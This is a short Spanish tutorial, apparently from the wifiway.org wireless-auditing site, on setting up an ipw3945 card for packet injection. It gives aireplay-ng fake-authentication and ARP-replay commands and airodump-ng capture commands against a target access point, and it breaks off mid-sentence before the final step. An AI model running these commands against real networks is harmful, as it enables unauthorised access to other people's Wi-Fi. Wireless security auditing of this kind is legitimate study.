http://www.wifiway.org

 

 

En primer lugar tendremos que modificar el rate y el canal de nuestra ipw3945 adaptándolo al que corresponda con el ap

Para ello haremos lo siguiente, ejecutamos desde la terminal;

./ipw3945

Nos pedirá el canal, rate, bssid.

Una vez echo esto podremos inyectar tal y como lo hacemos con la demas tarjetas, pero esa vez con una peculiardad y es que para capturar usaremos la rtap0 y para inyectar la interfaz wifi0

La inyección seria de la siguiente forma, ejecutamos en una terminal

airodump-ng rtap0

Con esto comprobamos cual es el canal de ap a atacar y tambien el bssid luego abrimos otra terminal y con el aireplay-ng hacemos lo que sigue:

aireplay-ng -1 0 -e Nombre_del_ap -a mac_del_ap -h mi_mac wifi0

Y en otra terminal distinta hacemos lo siguiente:

aireplay-ng -3 -b mac_del_ap -h mi_mac wifi0

Para finalizar en una terminal abrimos el airodump-ng de la siguinte forma:

airodump-ng rtap0

Con esto lo que nos queda es esprar a que el aireplay-ng coja el arp. Para finalizar lo que tenemos que hacer es;